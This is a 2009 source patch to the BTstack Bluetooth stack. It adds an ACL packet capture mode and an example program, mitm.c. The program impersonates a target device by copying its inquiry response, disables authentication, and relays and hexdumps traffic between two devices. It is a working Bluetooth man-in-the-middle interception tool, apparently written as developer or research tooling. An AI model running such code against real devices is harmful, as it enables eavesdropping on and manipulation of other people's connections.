From 9edc87425978b28e2c421b476ecdc45c2204fbe3 Mon Sep 17 00:00:00 2001 From: "matthias.ringwald" Date: Mon, 24 Aug 2009 21:56:12 +0000 Subject: [PATCH] added capture mode to get all ACL packets from client app, started BTstack Man-in-the-Middle implementation --- TODO.txt | 4 +- example/Makefile.am | 11 +- example/mitm.c | 181 ++++++++++++++++++++++++++++++ project.xcodeproj/project.pbxproj | 4 + src/btstack.c | 6 + src/btstack.h | 1 + src/daemon.c | 12 +- src/hci_cmds.c | 5 + src/hci_cmds.h | 9 +- src/l2cap.c | 20 +++- src/l2cap.h | 2 + src/utils.c | 17 +++ src/utils.h | 3 +- 13 files changed, 262 insertions(+), 13 deletions(-) create mode 100644 example/mitm.c diff --git a/TODO.txt b/TODO.txt index d79d84deb..e90dbe2d1 100644 --- a/TODO.txt +++ b/TODO.txt @@ -5,8 +5,8 @@ Last milestone reached: Restart client app without restarting BTdaemon possible NEXT: - autostart by launchd: ch.ringwald.BTstack.plist - get it to work on iPhone - - launchd check in neccessary? - - set path for stdout + - read kevent docu in chapter 9 + - follow Mac OS X Interal exampe of using kevent to accept connections - better deal with Apple stack - detect if it is running - figure out how to shut it down diff --git a/example/Makefile.am b/example/Makefile.am index 2f540eee1..55c60b009 100644 --- a/example/Makefile.am +++ b/example/Makefile.am @@ -1,4 +1,5 @@ -bin_PROGRAMS = test +bin_PROGRAMS = test mitm + test_SOURCES = test.c \ ../src/btstack.c \ ../src/hci_cmds.c \ @@ -6,3 +7,11 @@ test_SOURCES = test.c \ ../src/run_loop.c \ ../src/socket_connection.c \ ../src/utils.c + +mitm_SOURCES = mitm.c \ + ../src/btstack.c \ + ../src/hci_cmds.c \ + ../src/linked_list.c \ + ../src/run_loop.c \ + ../src/socket_connection.c \ + ../src/utils.c diff --git a/example/mitm.c b/example/mitm.c new file mode 100644 index 000000000..b17e7adcd --- /dev/null +++ b/example/mitm.c @@ -0,0 +1,181 @@ +/* + * test.c + * + * Created by Matthias Ringwald on 7/14/09. + */ + +#include +#include +#include +#include + +#include "../src/btstack.h" +#include "../src/run_loop.h" +#include "../src/hci.h" + +#define EIR_LEN 240 + +bd_addr_t addr; +bd_addr_t temp_addr; + +uint8_t got_EIR = 0; +uint8_t bob_EIR[EIR_LEN]; +hci_con_handle_t bob_handle = 0; +hci_con_handle_t alice_handle = 0; +uint16_t clock_offset; +uint8_t page_scan_repetition_mode; +uint8_t inquiry_done = 0; +hci_con_handle_t con_handle; +uint16_t source_cid_interrupt; +uint16_t source_cid_control; + +void data_handler(uint8_t *packet, uint16_t size){ + hci_con_handle_t in = READ_ACL_CONNECTION_HANDLE(packet); + hci_con_handle_t out = 0; + if (in == alice_handle) { + printf("Alice: "); + hexdump( packet, size ); + printf("\n\n"); + out = bob_handle; + } + if (in == bob_handle) { + printf("Bob: "); + hexdump( packet, size ); + printf("\n\n"); + out = alice_handle; + } + if (out){ + bt_store_16( packet, 0, (READ_BT_16(packet, 0) & 0xf000) | out); + bt_send_acl_packet(packet, size); + } + +} + +void event_handler(uint8_t *packet, uint16_t size){ + + // bt stack activated, get started - set local name + if (packet[0] == HCI_EVENT_BTSTACK_WORKING || + (packet[0] == HCI_EVENT_BTSTACK_STATE && packet[2] == HCI_STATE_WORKING)) { + bt_send_cmd(&hci_write_local_name, "BTstack-in-the-Middle"); + } + + // use pairing yes/no + if ( COMMAND_COMPLETE_EVENT(packet, hci_write_local_name) ) { + bt_send_cmd(&hci_write_authentication_enable, 0); + } + + // allow Extended Inquiry responses + if ( COMMAND_COMPLETE_EVENT(packet, hci_write_authentication_enable) ) { + bt_send_cmd(&hci_write_inquiry_mode, 2); + } + + // get all events, including EIRs + if ( COMMAND_COMPLETE_EVENT(packet, hci_write_inquiry_mode) ) { + bt_send_cmd(&hci_set_event_mask, 0xffffffff, 0x1fffffff); + } + + + // start inquiry + if ( COMMAND_COMPLETE_EVENT(packet, hci_set_event_mask) ) { + // enable capure + bt_send_cmd(&btstack_set_acl_capture_mode, 1); + + printf("Starting inquiry to get EIR from BOB\n"); + bt_send_cmd(&hci_inquiry, HCI_INQUIRY_LAP, 15, 0); + } + + // process EIR responses + if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17] && !got_EIR) { + printf("Got EIR from BOB\n"); + memcpy(bob_EIR, &packet[17], EIR_LEN); + got_EIR = 1; + clock_offset = READ_BT_16(packet, 14); + page_scan_repetition_mode = packet[9]; + // stop inquiry + bt_send_cmd(&hci_inquiry_cancel); + } + + // Inquiry done, set EIR + if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){ + if (!inquiry_done){ + inquiry_done = 1; + printf("Inquiry Complete, got EIR %u\n", got_EIR); + if (got_EIR){ + printf("Set own EIR to Bob's.\n"); + bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR); + } + } + } + + // Connect to BOB + if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) { + printf("Now start Alice!...\n"); + // bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0); + } + + // accept incoming connections + if (packet[0] == HCI_EVENT_CONNECTION_REQUEST){ + printf("Connection request from "); + bt_flip_addr(temp_addr, &packet[2]); + print_bd_addr(temp_addr); + printf("\n"); + bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1); + } + + // handle connections + if (packet[0] == HCI_EVENT_CONNECTION_COMPLETE) { + if (packet[2] == 0){ + if (!alice_handle) { + alice_handle = READ_BT_16(packet, 3); + printf("Alice connected (handle %u). Connecting BOB!\n", alice_handle); + bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0); + } else { + bob_handle = READ_BT_16(packet, 3); + printf("Connected to BOB (handle %u). Relayaing data!\n", bob_handle); + } + } else { + printf("Connection complete status %u\n", packet[2]); + } + } + + + // inform about pin code request + if (packet[0] == HCI_EVENT_PIN_CODE_REQUEST){ + printf("Please enter PIN 1234 on remote device\n"); + } + + // connection closed -> quit tes app + if (packet[0] == HCI_EVENT_DISCONNECTION_COMPLETE) { + printf("Basebank connection closed, exit.\n"); + exit(0); + } +} + +int main (int argc, const char * argv[]){ + // parse addr of Bob + uint8_t ok = 0; + if (argc >= 2) { + ok = sscan_bd_addr((uint8_t *) argv[1], addr); + } + if (!ok) { + printf("Usage: mitm 12:34:56:78:9A:BC\n"); + exit(0); + } + + // start stack + int err = bt_open(); + if (err) { + printf("Failed to open connection to BTdaemon\n"); + return err; + } + + printf("BTstack-in-the-Middle started, will pretend to be BOB ("); + print_bd_addr(addr); + printf(")\n"); + + bt_register_event_packet_handler(event_handler); + bt_register_data_packet_handler(data_handler); + bt_send_cmd(&btstack_set_power_mode, HCI_POWER_ON ); + run_loop_execute(); + bt_close(); +} \ No newline at end of file diff --git a/project.xcodeproj/project.pbxproj b/project.xcodeproj/project.pbxproj index 0facae57a..bc696bd7f 100644 --- a/project.xcodeproj/project.pbxproj +++ b/project.xcodeproj/project.pbxproj @@ -14,6 +14,7 @@ 9C00F86510191097008DAB17 /* utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F86210191097008DAB17 /* utils.c */; }; 9C00F87410191130008DAB17 /* l2cap_signaling.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F87210191130008DAB17 /* l2cap_signaling.c */; }; 9C05FC971020D3F300255261 /* socket_connection.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C00F7301017ACC3008DAB17 /* socket_connection.c */; }; + 9C1813F81042FCCA00C68F09 /* mitm.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C1813F71042FCCA00C68F09 /* mitm.c */; }; 9C1F0E9A0FDAE023008F472F /* run_loop.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C1F0E980FDAE023008F472F /* run_loop.c */; }; 9C2071F310014D3200A07EA4 /* hci_transport_usb.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C2071F210014D3200A07EA4 /* hci_transport_usb.c */; }; 9C46FC3A0FA906F700ABEF05 /* hci_transport_h4.c in Sources */ = {isa = PBXBuildFile; fileRef = 9C46FC360FA906F700ABEF05 /* hci_transport_h4.c */; }; @@ -53,6 +54,7 @@ 9C00F86310191097008DAB17 /* utils.h */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.h; name = utils.h; path = src/utils.h; sourceTree = ""; }; 9C00F87110191130008DAB17 /* l2cap_signaling.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = l2cap_signaling.h; path = src/l2cap_signaling.h; sourceTree = ""; }; 9C00F87210191130008DAB17 /* l2cap_signaling.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = l2cap_signaling.c; path = src/l2cap_signaling.c; sourceTree = ""; }; + 9C1813F71042FCCA00C68F09 /* mitm.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = mitm.c; path = example/mitm.c; sourceTree = ""; }; 9C1F0E980FDAE023008F472F /* run_loop.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = run_loop.c; path = src/run_loop.c; sourceTree = ""; }; 9C1F0E990FDAE023008F472F /* run_loop.h */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.h; name = run_loop.h; path = src/run_loop.h; sourceTree = ""; }; 9C2071F210014D3200A07EA4 /* hci_transport_usb.c */ = {isa = PBXFileReference; fileEncoding = 5; lastKnownFileType = sourcecode.c.c; name = hci_transport_usb.c; path = src/hci_transport_usb.c; sourceTree = ""; }; @@ -182,6 +184,7 @@ 9C7B5B81100D04520065D87E /* Example */ = { isa = PBXGroup; children = ( + 9C1813F71042FCCA00C68F09 /* mitm.c */, 9C7B5B7E100D04450065D87E /* test.c */, ); name = Example; @@ -269,6 +272,7 @@ 9C00F87410191130008DAB17 /* l2cap_signaling.c in Sources */, 9CCE6CEA1025BD0000FCE9F4 /* hci.c in Sources */, 9C6459E01037554B0081A00B /* platform_iphone.m in Sources */, + 9C1813F81042FCCA00C68F09 /* mitm.c in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; diff --git a/src/btstack.c b/src/btstack.c index ab06a17e0..b1bffbecb 100644 --- a/src/btstack.c +++ b/src/btstack.c @@ -61,7 +61,9 @@ int btstack_packet_handler(connection_t *connection, uint16_t packet_type, uint1 case HCI_EVENT_PACKET: (*event_packet_handler)(data, size); break; + // TODO use different handler, or use packet type parameter case HCI_ACL_DATA_PACKET: + case L2CAP_DATA_PACKET: (*acl_packet_handler)(data, size); break; default: @@ -87,3 +89,7 @@ void l2cap_send(uint16_t source_cid, uint8_t *data, uint16_t len){ socket_connection_send_packet(btstack_connection, L2CAP_DATA_PACKET, source_cid, data, len); } +void bt_send_acl_packet(uint8_t * data, uint16_t len){ + // send + socket_connection_send_packet(btstack_connection, HCI_ACL_DATA_PACKET, 0, data, len); +} diff --git a/src/btstack.h b/src/btstack.h index 423754c5c..667b23660 100644 --- a/src/btstack.h +++ b/src/btstack.h @@ -27,4 +27,5 @@ int bt_send_cmd(hci_cmd_t *cmd, ...); void bt_register_event_packet_handler(void (*handler)(uint8_t *packet, uint16_t size)); void bt_register_data_packet_handler (void (*handler)(uint8_t *packet, uint16_t size)); +void bt_send_acl_packet(uint8_t * data, uint16_t len); void l2cap_send(uint16_t source_cid, uint8_t *data, uint16_t len); diff --git a/src/daemon.c b/src/daemon.c index bdc8890ea..911fc9422 100644 --- a/src/daemon.c +++ b/src/daemon.c @@ -72,6 +72,13 @@ static int btstack_command_handler(connection_t *connection, uint8_t *packet, ui case HCI_BTSTACK_SET_POWER_MODE: hci_power_control(packet[3]); break; + case HCI_BTSTACK_SET_ACL_CAPTURE_MODE: + if (packet[3]) { + l2cap_set_capture_connection(connection); + } else { + l2cap_set_capture_connection(NULL); + } + break; case L2CAP_CREATE_CHANNEL: bt_flip_addr(addr, &packet[3]); psm = READ_BT_16(packet, 9); @@ -101,6 +108,9 @@ static int daemon_client_handler(connection_t *connection, uint16_t packet_type, btstack_command_handler(connection, data, length); } break; + case HCI_ACL_DATA_PACKET: + hci_send_acl_packet(data, length); + break; case L2CAP_DATA_PACKET: // process l2cap packet... l2cap_send_internal(channel, data, length); @@ -184,7 +194,7 @@ int main (int argc, const char * argv[]){ // @TODO: allow configuration per HCI CMD // use logger: format HCI_DUMP_PACKETLOGGER, HCI_DUMP_BLUEZ or HCI_DUMP_STDOUT - // hci_dump_open("/tmp/hci_dump.pklg", HCI_DUMP_PACKETLOGGER); + hci_dump_open("/tmp/hci_dump.pklg", HCI_DUMP_PACKETLOGGER); // hci_dump_open(NULL, HCI_DUMP_STDOUT); // init HCI diff --git a/src/hci_cmds.c b/src/hci_cmds.c index a8f8ddd36..15dff70e5 100644 --- a/src/hci_cmds.c +++ b/src/hci_cmds.c @@ -215,6 +215,11 @@ OPCODE(OGF_BTSTACK, HCI_BTSTACK_SET_POWER_MODE), "1" // mode: 0 = off, 1 = on }; +hci_cmd_t btstack_set_acl_capture_mode = { +OPCODE(OGF_BTSTACK, HCI_BTSTACK_SET_ACL_CAPTURE_MODE), "1" +// mode: 0 = off, 1 = on +}; + hci_cmd_t l2cap_create_channel = { OPCODE(OGF_BTSTACK, L2CAP_CREATE_CHANNEL), "B2" // @param bd_addr(48), psm (16) diff --git a/src/hci_cmds.h b/src/hci_cmds.h index a938a338f..69052a23e 100644 --- a/src/hci_cmds.h +++ b/src/hci_cmds.h @@ -38,11 +38,14 @@ // set power mode: @param HCI_POWER_MODE #define HCI_BTSTACK_SET_POWER_MODE 0x02 +// set capture mode: @param on +#define HCI_BTSTACK_SET_ACL_CAPTURE_MODE 0x03 + // create l2cap channel: @param bd_addr(48), psm (16) -#define L2CAP_CREATE_CHANNEL 0x03 +#define L2CAP_CREATE_CHANNEL 0x20 // disconnect l2cap disconnect, @param channel(16), reason(8) -#define L2CAP_DISCONNECT 0x04 +#define L2CAP_DISCONNECT 0x21 // Events from host controller to host #define HCI_EVENT_INQUIRY_COMPLETE 0x01 @@ -74,6 +77,7 @@ #define HCI_EVENT_READ_CLOCK_OFFSET_COMPLETE 0x1C #define HCI_EVENT_PACKET_TYPE_CHANGED 0x1D #define HCI_EVENT_INQUIRY_RESULT_WITH_RSSI 0x22 +#define HCI_EVENT_EXTENDED_INQUIRY_RESPONSE 0x2F #define HCI_EVENT_VENDOR_SPECIFIC 0xFF // events from BTstack for application/client lib @@ -164,5 +168,6 @@ extern hci_cmd_t hci_write_simple_pairing_mode; // BTSTACK client/server commands - see hci.c for info on parameters extern hci_cmd_t btstack_get_state; extern hci_cmd_t btstack_set_power_mode; +extern hci_cmd_t btstack_set_acl_capture_mode; extern hci_cmd_t l2cap_create_channel; extern hci_cmd_t l2cap_disconnect; diff --git a/src/l2cap.c b/src/l2cap.c index 2dd8a16f1..643e2f03a 100644 --- a/src/l2cap.c +++ b/src/l2cap.c @@ -21,6 +21,7 @@ static linked_list_t l2cap_channels = NULL; static uint8_t * acl_buffer = NULL; static void (*event_packet_handler) (uint8_t *packet, uint16_t size) = null_event_handler; static void (*data_packet_handler) (uint16_t source_cid, uint8_t *packet, uint16_t size) = null_data_handler; +static connection_t * capture_connection = NULL; void l2cap_init(){ sig_buffer = malloc( 48 ); @@ -152,11 +153,10 @@ void l2cap_event_handler( uint8_t *packet, uint16_t size ){ } } if (!used) { - hci_send_cmd(&hci_disconnect, handle, 0x13); // remote closd connection + hci_send_cmd(&hci_disconnect, handle, 0x13); // remote closed connection } } - // forward to higher layers (*event_packet_handler)(packet, size); } @@ -264,6 +264,14 @@ void l2cap_emit_channel_closed(l2cap_channel_t *channel) { void l2cap_acl_handler( uint8_t *packet, uint16_t size ){ + // Capturing? + if (capture_connection) { + socket_connection_send_packet(capture_connection, HCI_ACL_DATA_PACKET, 0, packet, size); + } + + // forward to higher layers - not needed yet + // (*data_packet_handler)(channel_id, packet, size); + // Get Channel ID and command code uint16_t channel_id = READ_L2CAP_CHANNEL_ID(packet); uint8_t code = READ_L2CAP_SIGNALING_CODE( packet ); @@ -307,11 +315,8 @@ void l2cap_acl_handler( uint8_t *packet, uint16_t size ){ // Find channel for this channel_id and connection handle l2cap_channel_t * channel = l2cap_get_channel_for_source_cid(channel_id); if (channel) { - socket_connection_send_packet(channel->connection, HCI_ACL_DATA_PACKET, 0, packet, size); + socket_connection_send_packet(channel->connection, L2CAP_DATA_PACKET, 0, packet, size); } - - // forward to higher layers - (*data_packet_handler)(channel_id, packet, size); } @@ -334,4 +339,7 @@ void l2cap_send_internal(uint16_t source_cid, uint8_t *data, uint16_t len){ } } +void l2cap_set_capture_connection(connection_t * connection){ + capture_connection = connection; +} diff --git a/src/l2cap.h b/src/l2cap.h index ff710010f..15e40e2d7 100644 --- a/src/l2cap.h +++ b/src/l2cap.h @@ -55,6 +55,8 @@ void l2cap_send_internal(uint16_t source_cid, uint8_t *data, uint16_t len); void l2cap_acl_handler( uint8_t *packet, uint16_t size ); void l2cap_event_handler( uint8_t *packet, uint16_t size ); +void l2cap_set_capture_connection(connection_t * connection); + void l2cap_finialize_channel_close(l2cap_channel_t *channel); void l2cap_close_channels_for_connection(connection_t *connection); diff --git a/src/utils.c b/src/utils.c index 03d78d61d..f311b3fcc 100644 --- a/src/utils.c +++ b/src/utils.c @@ -8,6 +8,7 @@ #include "utils.h" #include +#include void bt_store_16(uint8_t *buffer, uint16_t pos, uint16_t value){ buffer[pos++] = value; @@ -46,3 +47,19 @@ void print_bd_addr( bd_addr_t addr){ printf("%02X", ((uint8_t *)addr)[i]); } +int sscan_bd_addr(uint8_t * addr_string, bd_addr_t addr){ + int bd_addr_buffer[BD_ADDR_LEN]; //for sscanf, integer needed + // reset result buffer + int i; + bzero(bd_addr_buffer, sizeof(bd_addr_buffer)); + // parse + int result = sscanf( (char *) addr_string, "%2x:%2x:%2x:%2x:%2x:%2x", &bd_addr_buffer[0], &bd_addr_buffer[1], &bd_addr_buffer[2], + &bd_addr_buffer[3], &bd_addr_buffer[4], &bd_addr_buffer[5]); + // store + if (result == 6){ + for (i = 0; i < BD_ADDR_LEN; i++) { + addr[i] = (uint8_t) bd_addr_buffer[i]; + } + } + return (result == 6); +} diff --git a/src/utils.h b/src/utils.h index 98a20f018..1bd6eec55 100644 --- a/src/utils.h +++ b/src/utils.h @@ -53,7 +53,8 @@ void bt_store_32(uint8_t *buffer, uint16_t pos, uint32_t value); void bt_flip_addr(bd_addr_t dest, bd_addr_t src); void hexdump(void *data, int size); -void print_bd_addr( bd_addr_t addr); +void print_bd_addr(bd_addr_t addr); +int sscan_bd_addr(uint8_t * addr_string, bd_addr_t addr); #define BD_ADDR_CMP(a,b) memcmp(a,b, BD_ADDR_LEN) #define BD_ADDR_COPY(dest,src) memcpy(dest,src,BD_ADDR_LEN)